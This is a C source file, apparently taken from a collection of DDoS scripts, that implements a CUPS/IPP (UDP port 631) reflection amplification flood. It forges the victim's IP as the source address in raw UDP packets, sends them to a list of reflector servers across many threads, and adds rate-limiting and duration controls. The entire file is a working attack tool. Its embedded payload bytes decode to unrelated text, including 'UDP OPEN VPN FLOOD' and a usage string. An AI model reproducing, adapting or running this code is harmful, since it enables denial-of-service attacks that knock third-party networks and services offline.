Path: blob/master/DDOS Scripts/AMP Methods/CUPS AMPLIFICATION - 631/cups.c
4622 views
/*1CUPS (Internet Printing Protocol) Amplification Script, made / found by googleadmin2*/34#include <time.h>5#include <pthread.h>6#include <unistd.h>7#include <stdio.h>8#include <stdlib.h>9#include <string.h>10#include <sys/socket.h>11#include <netinet/ip.h>12#include <netinet/udp.h>13#include <arpa/inet.h>14#define MAX_PACKET_SIZE 819215#define PHI 0x9e3779b916static uint32_t Q[4096], c = 362436;17static const char PAYLOAD[] = "\x06\x06\x06\x06\x06\x06\x06\x06\x00\x55\x44\x50\x20\x4f\x50\x45\x4e\x20\x56\x50\x4e\x20\x46\x4c\x4f\x4f\x44\x0a\x00\x55\x73\x61\x67\x65\x3a\x20\x25\x73\x20\x3c\x74\x61\x72\x67\x65\x74\x20\x49\x50\x3e\x20\x3c\x70\x6f\x72\x74\x3e\x20\x3c\x6e\x75\x6d\x62\x65\n";18static unsigned int PAYLOADSIZE = sizeof(PAYLOAD) - 1;19struct list20{21struct sockaddr_in data;22struct list *next;23struct list *prev;24};25struct list *head;26volatile int tehport;27volatile int limiter;28volatile unsigned int pps;29volatile unsigned int sleeptime = 100;30struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; };31void init_rand(uint32_t x)32{33int i;34Q[0] = x;35Q[1] = x + PHI;36Q[2] = x + PHI + PHI;37for (i = 3; i < 4096; i++)38{39Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;40}41}42uint32_t rand_cmwc(void)43{44uint64_t t, a = 18782LL;45static uint32_t i = 4095;46uint32_t x, r = 0xfffffffe;47i = (i + 1) & 4095;48t = a * Q[i] + c;49c = (t >> 32);50x = t + c;51if (x < c) {52x++;53c++;54}55return (Q[i] = r - x);56}57unsigned short csum (unsigned short *buf, int nwords)58{59unsigned long sum = 0;60for (sum = 0; nwords > 0; nwords--)61sum += *buf++;62sum = (sum >> 16) + (sum & 0xffff);63sum += (sum >> 16);64return (unsigned short)(~sum);65}66void setup_ip_header(struct iphdr *iph)67{68iph->ihl = 5;69iph->version = 4;70iph->tos = 0;71iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;72iph->id = htonl(54321);73iph->frag_off = 0;74iph->ttl = MAXTTL;75iph->protocol = IPPROTO_UDP;76iph->check = 0;77iph->saddr = inet_addr("192.168.3.100");78}79void setup_udp_header(struct udphdr *udph)80{81udph->source = htons(5678);82udph->dest = htons(631);83udph->check = 0;84memcpy((void *)udph + sizeof(struct udphdr), PAYLOAD, PAYLOADSIZE);85udph->len=htons(sizeof(struct udphdr) + PAYLOADSIZE);86}87void *flood(void *par1)88{89struct thread_data *td = (struct thread_data *)par1;90char datagram[MAX_PACKET_SIZE];91struct iphdr *iph = (struct iphdr *)datagram;92struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);93struct sockaddr_in sin = td->sin;94struct list *list_node = td->list_node;95int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);96if(s < 0){97fprintf(stderr, "Could not open raw socket.\n");98exit(-1);99}100init_rand(time(NULL));101memset(datagram, 0, MAX_PACKET_SIZE);102setup_ip_header(iph);103setup_udp_header(udph);104udph->source = htons(rand() % 65535 - 1026);105iph->saddr = sin.sin_addr.s_addr;106iph->daddr = list_node->data.sin_addr.s_addr;107iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);108int tmp = 1;109const int *val = &tmp;110if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){111fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");112exit(-1);113}114init_rand(time(NULL));115register unsigned int i;116i = 0;117while(1){118sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));119list_node = list_node->next;120iph->daddr = list_node->data.sin_addr.s_addr;121iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);122iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);123124pps++;125if(i >= limiter)126{127i = 0;128usleep(sleeptime);129}130i++;131}132}133int main(int argc, char *argv[ ])134{135if(argc < 6){136fprintf(stderr, "Invalid parameters!\n");137fprintf(stdout, "Usage: %s <target IP> <target port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]);138exit(-1);139}140srand(time(NULL));141int i = 0;142head = NULL;143fprintf(stdout, "Setting up sockets...\n");144int max_len = 128;145char *buffer = (char *) malloc(max_len);146buffer = memset(buffer, 0x00, max_len);147int num_threads = atoi(argv[4]);148int maxpps = atoi(argv[5]);149limiter = 0;150pps = 0;151int multiplier = 20;152FILE *list_fd = fopen(argv[3], "r");153while (fgets(buffer, max_len, list_fd) != NULL) {154if ((buffer[strlen(buffer) - 1] == '\n') ||155(buffer[strlen(buffer) - 1] == '\r')) {156buffer[strlen(buffer) - 1] = 0x00;157if(head == NULL)158{159head = (struct list *)malloc(sizeof(struct list));160bzero(&head->data, sizeof(head->data));161head->data.sin_addr.s_addr=inet_addr(buffer);162head->next = head;163head->prev = head;164} else {165struct list *new_node = (struct list *)malloc(sizeof(struct list));166memset(new_node, 0x00, sizeof(struct list));167new_node->data.sin_addr.s_addr=inet_addr(buffer);168new_node->prev = head;169new_node->next = head->next;170head->next = new_node;171}172i++;173} else {174continue;175}176}177struct list *current = head->next;178pthread_t thread[num_threads];179struct sockaddr_in sin;180sin.sin_family = AF_INET;181sin.sin_addr.s_addr = inet_addr(argv[1]);182struct thread_data td[num_threads];183for(i = 0;i<num_threads;i++){184td[i].thread_id = i;185td[i].sin= sin;186td[i].list_node = current;187pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);188}189fprintf(stdout, "Starting flood...\n");190for(i = 0;i<(atoi(argv[6])*multiplier);i++)191{192usleep((1000/multiplier)*1000);193if((pps*multiplier) > maxpps)194{195if(1 > limiter)196{197sleeptime+=100;198} else {199limiter--;200}201} else {202limiter++;203if(sleeptime > 25)204{205sleeptime-=25;206} else {207sleeptime = 0;208}209}210pps = 0;211}212return 0;213}214215